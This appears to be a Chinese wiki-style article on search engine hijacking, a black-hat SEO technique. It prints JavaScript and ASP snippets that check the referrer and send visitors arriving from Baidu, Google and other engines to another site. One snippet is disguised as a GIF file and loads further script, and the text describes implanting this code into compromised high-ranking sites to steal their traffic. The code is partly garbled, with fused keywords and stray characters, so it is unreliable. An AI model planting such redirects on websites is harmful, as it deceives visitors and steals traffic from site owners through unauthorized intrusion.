定義
搜尋引擎劫持簡稱搜尋劫持,其實就是從搜尋引擎來的流量自動跳轉到指定的網頁。可以通過未經用戶授權,自動修改第三方搜尋引擎結果的軟體實現,通常這類程式會在第三方搜尋引擎的結果中添加自己的廣告或加入網站連結獲取流量等。也可以通過如下搜尋引擎劫持代碼實現(屬於黑帽SEO需要掌握被劫持網站許可權,建議不要使用)。
搜尋劫持原始碼:if(window點name!=”視窗名”){
varstr1=document.Referrer;
str1=str1.toLowerCase();
varstr6=‘google.’;
varstr7=‘baidu.’;
varstr4=‘yahoo.’;
varstr8=‘youdao.’;
varstr9=‘SOGOU.’;
varstr5=‘soso.’;
varstr3=‘sdgb.’;
varstr2=‘ifeng.’;
varstr2=‘gougou.’;
if(str1.indexof(str7)>0||str1.indexOf(str6)>0||str1.indexOf(str4)>0||str1.indexOf(str3)>0||str1.indexOf(str2)>0||str1.indexOf(str1)>0||str1.indexOf(str8)>0||str1.indexOf(str9)>0||str1.indexOf(str5)>0&&“zh-cn”==navigator.systemLanguage)
{
self.location=”URL”;
window點name=”視窗名”;
}
}
引入流量
第一:正規站沒流量和排名,不敢用黑鏈和黑帽,做垃圾站通過黑鏈和黑帽技術把核心關鍵字短時間做到搜尋引擎首頁,通過跳轉到正規站來給正規站帶來流量。
第二:一個正規站的關鍵字排名在百度前面,這些正規網站權重比較高,排名也比較靠前,通過非法植入網站程式,讓搜尋引擎來的流量跳轉到自己正規站上面,手動輸入則不會跳轉,然而蜘蛛也會抓取該非法網站,並且誤以為屬於這個正規網站,於是照常收錄,流量來的則是別人的正規站的流量,導致非法網站排名不斷提高。
GIF89a="";
vard=document.referrer;
if((d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)){
document.writeln("<scriptsrc=域名.gif><\/script>");
}
else{
window.location.href="index.asp"
}
以上這段代碼顯示通過HTTPReferrer來判斷用戶是從哪裡來的。如果是用戶手動輸入的,則打開網站原來的index.asp頁面;如果來自百度搜尋,那就跳轉到另一個檔案。
vard=document.referrer;
if(d.indexOf("%CC%FD")>0||d.indexOf("%C6%F7")>0){
self.location=域名;
window.opener.location=域名
};
這個檔案里的代碼在做判斷,如果來自百度搜尋結果,那就跳轉到非法網站去,否則就不做操作。
但是JS打開頁面,載入時,實在太慢,而且JS檔案占頻寬。
現在考慮如果用ASP怎么來判斷。
現在用asp編寫。
<%
Dimfrom
from=Request.ServerVariables("HTTP_REFERER")
Iffrom<>""Then
Response.Redirect(域名/list/index.html)
Response.End()
EndIf
%>